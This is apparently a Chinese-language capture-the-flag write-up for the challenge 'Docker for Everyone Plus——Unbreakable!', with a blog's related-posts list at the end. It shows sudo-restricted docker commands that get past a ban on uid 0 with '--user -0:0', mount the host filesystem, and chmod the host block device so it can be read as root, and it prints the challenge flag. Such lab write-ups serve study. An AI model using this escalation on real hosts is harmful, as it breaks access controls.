Docker for Everyone Plus——Unbreakable!

修改一下telnet的端口配置,访问第二小问,sudo -l命令允许提权执行的命令:

发现多了这两个限制--security-opt=no-new-privileges,表明docker run命令必须带上--security-opt=no-new-privileges参数,这可以防止通过suid机制获取root权限,同时禁止了--device参数,无法从容器内读取flag


老样子,rz传输tar.gz文件并解压载入tar镜像:

rz

gunzip dockerfile.tar.gz

sudo docker image load < dockerfile.tar


了解到一个方法:

uid是整数型,整数的+0和-0就是一个东西,不让指定uid为0,那就指定为-0来绕过

sudo docker run --rm --security-opt=no-new-privileges -u 1000:1000 --user -0:0 -v /:/host -it dockerfile

cat /host/dev/vdb

成功获取到root shell,但在容器内,依旧不能读设备块


修改一下文件权限即可,再exit退出容器,cat /dev/vdb就可以成功获取flag了:

chmod 777 /host/dev/vdb

cat /dev/vdb

flag{contA1N3R_R0ot_i5_4cCESsIb1e_c692a7d2c6}

相关推荐
程序员-Benothing9 小时前
Vim编辑器从入门到精通:模式、快捷键、配置、插件
linux·运维·服务器
m0_646429979 小时前
Docker 完整核心知识点总结(超通俗易懂版)
运维·docker·容器
‎ദ്ദിᵔ.˛.ᵔ₎9 小时前
linux 进程信号 (上)
linux·服务器
15Moonlight10 小时前
Linux网络(02):Socket 编程 UDP
linux·网络·udp
学逆向的10 小时前
win32注入代码
开发语言·网络安全·api·win32
wuminyu10 小时前
ForkJoinPool窃取线程在扫描其他WorkQueue时的随机采样算法与Phase线程挂起唤醒机制解析
java·linux·c语言·jvm·c++
liulilittle11 小时前
Linux 下 select 测试函数
linux·服务器·网络·数据库·c++·select·c
Web Security Loop11 小时前
MAC安装最新Burpsuite pro详细步骤教程
web安全·macos·网络安全·安全性测试
DongQiShanRen11 小时前
玄龙(上):TICK 主循环——意识心跳怎么跳
linux·jvm·数据库·人工智能·数据挖掘·rust
小此方11 小时前
Linux网络(二十一):深入理解 TCP 异常处理:网线断开、Keepalive 保活机制与 Linux 内核传输层协议源码剖析
linux·网络·tcp/ip